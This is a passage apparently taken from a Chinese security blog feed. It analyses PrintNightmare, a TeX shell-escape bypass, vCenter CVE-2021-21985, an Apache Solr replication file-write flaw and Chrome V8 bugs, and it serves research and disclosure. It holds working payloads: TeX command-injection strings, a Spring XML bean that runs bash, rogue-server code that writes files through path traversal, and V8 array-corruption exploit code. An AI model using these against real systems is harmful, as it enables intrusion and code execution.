根据API文档,RpcAddPrinterDriverEx API用于在打印机服务器上安装打印机驱动;第三个参数为dwFileCopyFlags,指定了服务器在拷贝驱动文件时的行为。文档给出了标志的可能值,结合补丁,我们发现了这样一个标志:APD_INSTALL_WARNED_DRIVER(0x8000),此标志允许服务器安装警告的打印机驱动,也就是说,如果在flag中设置了APD_INSTALL_WARNED_DRIVER,那么我们可以无视警告安装打印机驱动。这刚好是微软补丁试图限制的标志位。

本地提权

我们分析了添加驱动的内部实现(位于localspl.dll的InternalAddPrinterDriver函数),添加驱动的过程如下:

1. 检查驱动签名

2. 建立驱动文件列表

3. 检查驱动兼容性

4. 拷贝驱动文件

如果能够绕过其中的限制,将自己编写的dll复制到驱动目录并加载,就可以完成本地提权。

绕过对驱动文件签名的检查

绕过驱动签名检查的关键函数为ValidateDriverInfo()。分析该函数,我们发现,如果标志位设置了APD_INSTALL_WARNED_DRIVER(0x8000),那么函数会跳过驱动路径和驱动签名的检查。

绕过建立驱动文件目录函数

CreateInternalDriverFileArray()函数根据文件操作标志来决定是否检查spool驱动目录。如果a5 flag被标志为False,驱动加载函数只会检查用户目录中是否包含要拷贝的驱动文件;否则,函数会尝试到spool驱动目录寻找目标驱动,在本地提权场景下,这将导致列表建立失败。

通过简单分析可以发现,在FileCopyFlags中设置APD_COPY_FROM_DIRECTORY(0x10),即可跳过spool目录检查。

绕过驱动文件版本检查

后续的检查包括对需要添加的驱动的兼容性检查,这里主要是检查我们需要添加的驱动版本信息(这里主要是指版本号的第二位,我后面所描述的版本号都特指第二位):

下面是用来被当去打印驱动加载的我们自己生成的一个dll文件,

修改dll文件版本号绕过驱动文件兼容性检查:

驱动加载函数InternalAddPrinterDriver中的检查限制了驱动版号只能为0,1,3.

而兼容性检查的内部函数实现(ntprint.dll的PSetupIsCompatibleDriver函数)又限制了该版本号必须大于2。因此,可以修改待加载驱动或dll文件的版本号为3,从而绕过驱动兼容性检查。

驱动文件的复制加载

驱动文件拷贝函数(CopyFileToFinalDirectory)对参数没有额外的限制。函数执行完成后,我们的驱动文件以及依赖就被复制到驱动目录了,复制后的驱动文件会被自动加载。

自动加载驱动:

尝试远程执行代码。

目前,我们已经可以从本地指定的用户目录加载我们自定义的打印机驱动文件到spool驱动目录。之前我们对AddPrinterDriverExW函数的调用第一个参数为空,用来在本地加载。如果直接设置该参数为指定服务器地址,目标会返回我们需要登陆到目标设备的权限的错误。作为测试,我们先通过IPC连接到目标设备,之后再通过我们的驱动添加调用,使远程目标设备从其本地的指定目录复制驱动文件到spool驱动目录并加载。

但这里有一个问题,这个操作仅仅是让目标服务器从本地磁盘复制并加载驱动,在此之前,我们还要使我们自己的驱动文件从攻击机设备的目录上分发到目标设备上。

这里就必须要求目标开启对应的集群后台打印处理程序,之后再次调用AddPrinterDriverExW修改标志为APD_COPY_TO_ALL_SPOOLERS,将本地的驱动文件分发到目标设备磁盘上。

远程加载驱动

最后,我这里并没有使用实际的集群打印服务器的环境。作为测试,我预先复制了驱动文件到目标服务器的指定路径。调用AddPrinterDriverExW使远程目标服务器完成了复制用户目录驱动文件到驱动目录并以system权限加载的过程。

思路验证视频:

漏洞总结

该漏洞的核心是允许普通用户绕过检查,将一个任意未签名dll复制到驱动目录并以系统管理员权限加载起来。而该漏洞可以达到远程触发的效果,则是由于集群打印服务间可以远程分发接收打印驱动文件的特性。

所以就目前的漏洞验证结果来看,该漏洞的危害似乎可能比他的漏洞原理表现出来的要影响更多一点。除了作为本地提权的利用方式之外,如果在一些内部隔离办公环境,启用了这种集群打印服务又没有及时更新系统补丁,该漏洞的作用还是比较有威胁性的。

PrintNightmare 0day POC的补充说明

通过最近一两天其他研究人员的证明,目前公开的cube0x0/PrintNightmare poc可以对最新的补丁起作用。鉴于此,我们后续验证了这个原因。

通过分析,补丁函数中对调用来源做了检查,查询当前调用者token失败时,会强制删除掉APD_INSTALL_WARNED_DRIVER(0x8000)的驱动添加标志。从而导致验证不通过。

但是,当我们从远程调用到这个接口,至少目前证实的通过IPC连接到目标后,这里的调用者已经继承了所需要的token,从而绕过检查。

从某种意义上讲,该漏洞修复方案只针对本地提权场景进行了限制,而没有考虑到远程调用对漏洞的影响。

参考

https://mp.weixin.qq.com/s/MjLPFuFJobkDxaIowvta7A

http://218.94.103.156:8090/download/developer/xpsource/Win2K3/NT/public/internal/windows/inc/winsprlp.h

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b

https://github.com/cube0x0/CVE-2021-1675

TeX 安全模式绕过研究

6 June 2021 at 07:06
By: RicterZ

漏洞时间线:

  • 2021/03/08 - 提交漏洞至 TeX 官方;
  • 2021/03/27 - 漏洞修复,安全版本:TeX Live 2021;
  • 2021/06/06 - 漏洞分析公开。

I. Tex 安全限制概述

TeX 提供了 \write18 原语以执行命令。为了提高安全性,TexLive 的配置文件(texmf.cnf)提供了配置项(shell_escape、shell_escape_commands)去配置 \write18 能否执行命令以及允许执行的命令列表。

其中 shell_escape 有三种配置值,分别为:

  • f:不允许执行任何命令
  • t:允许执行任何命令
  • p:支持执行白名单内的命令(默认)

白名单命令列表可以通过如下命令查询:

kpsewhich --var-value shell_escape_commands

shell_escape 配置值可以通过如下命令查询:

kpsewhich --var-value shell_escape

本文涉及的 CVE 如下:没 advisory 懒得申请了。

II. 挖掘思路

TeX 提供了一个默认的白名单命令列表,如若在调用过程中,这些命令出现安全问题,则会导致 TeX 本身在调用命令的时候出现相同的安全问题。

可以假设:在命令调用的过程中,由于开发者对于命令参数的不完全掌握,有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路,挖掘白名单内的命令以及白名单内命令的内部调用,并最终得到一个调用链以及相关的参数列表,依据研究人员的经验去判断是否存在安全问题。

III. 在 *nix 下的利用方式

通过针对命令的深入挖掘,发现白名单内的 repstopdf 命令存在安全问题,通过精心构造参数可以执行任意系统命令。

repstopdf 意为 restricted epstopdf,epstopdf 是一个 Perl 开发的脚本程序,可以将 eps 文件转化为 pdf 文件。repstopdf 强制开启了 epstopdf 的 --safer 参数,同时禁用了 --gsopt/--gsopts/--gscmd 等 GhostScript 相关的危险参数,以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下:

repstopdf [options] [epsfile [pdffile.pdf]]

repstopdf 会调用 GhostScript 去生成 pdf 文件(具体调用参数可以用过 strace 命令进行跟踪),其中传入的 epsfile 参数会成为 GhostScript 的 -sOutputFile= 选项的参数。

通过查阅 GhostScript 的文档可知,GhostScript 的此项参数支持管道操作。当我们传入文件名为:|id 时,GhostScript 会执行 id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作,不受前文所提及的限制条件限制。利用方式如下所示:

repstopdf '|id #'

在 TeX 内的利用方式为:

\write18{repstopdf "|id #"}

IV. 在 Windows 下的利用方式

Windows 平台下,白名单内存在的是 epstopdf 而非 repstopdf,且相关参数选项与 *nix 平台下不相同,但仍旧存在 --gsopt 选项。利用此选项可以控制调用 GhostScript 时的参数。

此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档,指定参数 -sOutputFile 及其他相关参数即可。利用方式为:

epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"

V. LuaLaTeX 的安全问题

LuaLaTex 内置了 Lua 解释器,可以在编译时执行 Lua 代码,原语为:\directlua。LuaLaTeX 支持调用系统命令,但是同样地受到 shell_escape 的限制。如在受限(f)模式下,不允许执行任意命令;默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令,LuaLaTeX 同样可以利用 III、IV 内描述的方式进行利用,在此不做进一步赘述。

LuaLaTeX 的 Lua 解释器支持如下风险功能:

  • 命令执行(io.popen 等函数)
  • 文件操作(lfs 库函数)
  • 环境变量设置(os.setenv)
  • 内置了部分自研库(fontloader)

1. 环境变量劫持导致命令执行

通过修改 PATH 环境变量,可以达到劫持白名单内命令的效果。PATH 环境变量指定了可执行文件所在位置的目录路径,当在终端或者命令行输入命令时,系统会依次查找 PATH 变量中指定的目录路径,如果该命令存在与目录中,则执行此命令(https://en.wikipedia.org/wiki/PATH_(variable))。

将 PATH 变量修改为攻击者可控的目录,并在该目录下创建与白名单内命令同名的恶意二进制文件后,攻击者通过正常系统功能调用白名单内的命令后,可以达到任意命令执行的效果。

2. fontloader 库安全问题

fontloader 库存在典型的命令注入问题,问题代码如下:

// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
    char *dir = getenv("TMPDIR");
    char buf[1500];
    char *tmpfile;

    if ( dir==NULL ) dir = P_tmpdir;
    tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
    strcpy(tmpfile,dir);
    strcat(tmpfile,"/");
    strcat(tmpfile,GFileNameTail(name));
    *strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
    sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
    snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
    if ( system(buf)==0 )
return( tmpfile );
    free(tmpfile);
return( NULL );
}

调用链为:

ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system

通过 Lua 调用 fontloader.open 函数即可触发。此方式可以在受限(f)模式下执行命令。

VI. DVI 的安全问题

DVI(Device independent file)是一种二进制文件格式,可以由 TeX 生成。在 TeX 中,可以利用 \special 原语嵌入图形。TeX 内置了 DVI 查看器,其中 *nix 平台下为 xdvi 命令,Windows 平台下通常为 YAP(Yet Another Previewer)。

1. xdvi 命令的安全问题

xdvi 在处理超链接时,调用了系统命令启动新的 xdvi,存在典型的命令注入问题。问题代码如下:

// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
    int i = 0;
    const char *argv[ARG_LEN];
    char *shrink_arg = NULL;

    ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");

    argv[i++] = kpse_invocation_name;
    argv[i++] = "-name";
    argv[i++] = "xdvi";

    /* start the new instance with the same debug flags as the current instance */
    if (globals.debug != 0) {
	argv[i++] = "-debug";
	argv[i++] = resource.debug_arg;
    }
    
    if (anchor_name != NULL) {
	argv[i++] = "-anchorposition";
	argv[i++] = anchor_name;
    }

    argv[i++] = "-s";
    shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
    sprintf(shrink_arg, "%d", currwin.shrinkfactor);
    argv[i++] = shrink_arg;

    argv[i++] = filename; /* FIXME */
    
    argv[i++] = NULL;
    
...
	    execvp(argv[0], (char **)argv);

2. YAP 安全问题

YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript,且未开启安全模式(-dSAFER),可以直接利用内嵌的 GhostScript 进行命令执行。

VII. 漏洞利用

TeX 底层出现安全问题时,可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。下面以 MacOS 下比较知名的 Texpad 进行演示:

VIII. 参考文章

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

5 June 2021 at 00:17
By: RicterZ
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

漏洞时间线:

  • 2021/04/13 - 发现漏洞并实现 RCE;
  • 2021/04/16 - 提交漏洞至 VMware 官方并获得回复;
  • 2021/05/26 - VMware 发布漏洞 Advisory(VMSA-2021-0010);
  • 2021/06/02 - Exploit 公开(from 随风's blog);
  • 2021/06/05 - 本文公开。

0x01. 漏洞分析

存在漏洞的 API 端点如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 1. 存在漏洞的 Controller

首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput 列表作为方法参数,接着进入 invokeService 方法:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 2. invokeService 方法

invokeServer 先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 3. Bean 列表

其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代码如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 4. loadVmodlPackage 方法

注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载,vmodPackage 可控。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 5. 调用 SpringContextLoader

最终会调用到 ClassPathXmlApplicationContext 的构造方法。ClassPathXmlApplicationContext 可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 6. ClassPathXmlApplicationContext

需要注意的是,在 SpringContextLoadergetContextFileNameForPackage 会将路径中的 . 替换为 /,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 7. 调用 loadVmodlPackages 方法并传入 URL

XML 文件内容及攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 8. XML 文件内容及攻击效果

0x02. 不出网利用(6.7 / 7.0)

若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 9. VsanHttpProvider.py 文件内容

这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen 函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 10. 利用 SSRF 返回可控文件内容

在利用的过程中,将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。

现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties 的 Bean。同时这个 Bean 也存在方法可以获取属性内容:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 11. 调用 systemProperties 的方法

所以在执行 SpEL 时,可以将命令暂存到 systemProperties 中,然后利用 getProperty 方法获取回显。最终的 context.xml 内容为:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>

最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 12. 不出网攻击效果

0x03. 技术总结

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

2 June 2021 at 09:10
By: RicterZ
Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。

说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时,会请求传入的 masterUrl,漏洞点如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?

0x03. Replication 代码分析

我们继续跟进 doFetch 方法,发现会调用到 fetchLatestIndex 方法:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversiongeneration 进行判断:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

文件列表包含filelistconfFilestlogFiles 三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownloadtlogFilesToDownloadconfFilesToDownload 的顺序进行下载。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

我们随意跟进某个下载方法,比如 downloadConfFiles

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

可以发现,saveAs 变量是取于 files 的某个属性,而最终会直接创建一个 File 对象:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

也就是说,如果 file 的 alias 或者 name 可控,则可以利用 ../ 进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList 查看,可以发现,filesToDownload 是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversionfilelist 以及 filecontent。部分代码如下:

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()

返回恶意文件的代码如下:

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;

其中 DIST_FILE 为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

Chromium V8 JavaScript引擎远程代码执行漏洞分析讨论

15 April 2021 at 07:35
By: frust

0x01-概述

2021年4月13日,安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行(RCE)的0Day漏洞,该漏洞可在当前版本(89.0.4389.114)的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞,是基于Chromium内核的浏览器中V8 JavaScript引擎的远程代码执行漏洞,同时还发布了该漏洞的PoC

2021年4月14日,360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue 1195777)以及Chrome 89.0.4389.114的poc视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的浏览器。

Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合,就有可能绕过Chrome沙盒。

0x02-漏洞PoC

目前四个漏洞issue 1126249issue 1150649、issue 1196683、issue 1195777的exp均使用同一绕过缓解措施手法(截至文章发布,后两个issue尚未公开),具体细节可参考文章

基本思路是创建一个数组,然后调用shift函数构造length为-1的数组,从而实现相对任意地址读写。issue 1196683中关键利用代码如下所示。

function foo(a) {
......
	if(x==-1) x = 0;
	var arr = new Array(x);//---------------------->构造length为-1数组
	arr.shift();
......
}

issue 1195777中关键利用代码如下所示:

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->构造length为-1数组
    arr.shift();
    let local_arr = Array(2);
    ......
}

参考issue 1126249issue 1150649中关键poc代码如下所示,其缓解绕过可能使用同一方法。

//1126249
function jit_func(a) {
	.....
    v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
    let v51206 = new Array(v5568);
    v51206.shift();
    Array.prototype.unshift.call(v51206);
    v51206.shift();
   .....
}

//1150649
function jit_func(a, b) {
  ......
  v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
  if (b) {
    v56971 = 0;
  }
  v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
  v129341.shift();
  v4951241 = {};
  v129341.shift();
  ......
}

国内知名研究员gengming@dydhh1推特发文将在zer0pwn会议发表议题讲解CVE-2020-1604[0|1]讲过如何绕过缓解机制。本文在此不再赘述。

frust在youtube给出了Chrome89.0.4389.114的poc视频验证;经测试最新版Chrome 90.0.4430.72仍旧存在该漏洞。

0x03-exp关键代码

exp关键代码如下所示。

class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;//进行地址泄露
        }
    }
function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//
        arr[0] = 0x1122;//修改数组长度
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);

通过代码Array(Math.sign(0 - Math.max(0, x, -1)))创建一个length为-1的数组,然后使用LeakArrayBuffer构造内存布局,将相对读写布局成绝对读写。

这里需要说明的是,由于chrome80以上版本启用了地址压缩,地址高4个字节,可以在构造的array后面的固定偏移找到。

先将corrupt_buffer的地址泄露,然后如下计算地址

 (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;

可以计算出高4字节。

同时结合0x02步骤中实现的相对读写和对象泄露,可实现绝对地址读写。@r4j0x00在issue 1196683中构造length为-1数组后,则通过伪造对象实现任意地址读写。

之后,由于WASM内存具有RWX权限,因此可以将shellcode拷贝到WASM所在内存,实现任意代码执行。

具体细节参考exp

该漏洞目前已修复

0x04-小结

严格来说,此次研究人员公开的两个漏洞并非0day,相关漏洞在最新的V8版本中已修复,但在公开时并未merge到最新版chrome中。由于Chrome自身拥有沙箱保护,该漏洞在沙箱内无法被成功利用,一般情况下,仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。但是,其他不少基于v8等组件的app(包括安卓),尤其是未开启沙箱保护的软件,仍具有潜在安全风险。

漏洞修复和应用代码修复之间的窗口期为攻击者提供了可乘之机。Chrome尚且如此,其他依赖v8等组件的APP更不必说,使用1 day甚至 N day即可实现0 day效果。这也为我们敲响警钟,不仅仅是安全研究,作为应用开发者,也应当关注组件漏洞并及时修复,避免攻击者趁虚而入。

我们在此也敦促各大软件厂商、终端用户、监管机构等及时采取更新、防范措施;使用Chrome的用户需及时更新,使用其他Chrome内核浏览器的用户则需要提高安全意识,防范攻击。

参考链接

https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971

https://bugs.chromium.org/p/chromium/issues/detail?id=1150649

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645

https://bugs.chromium.org/p/chromium/issues/detail?id=1126249

https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html

https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js

❌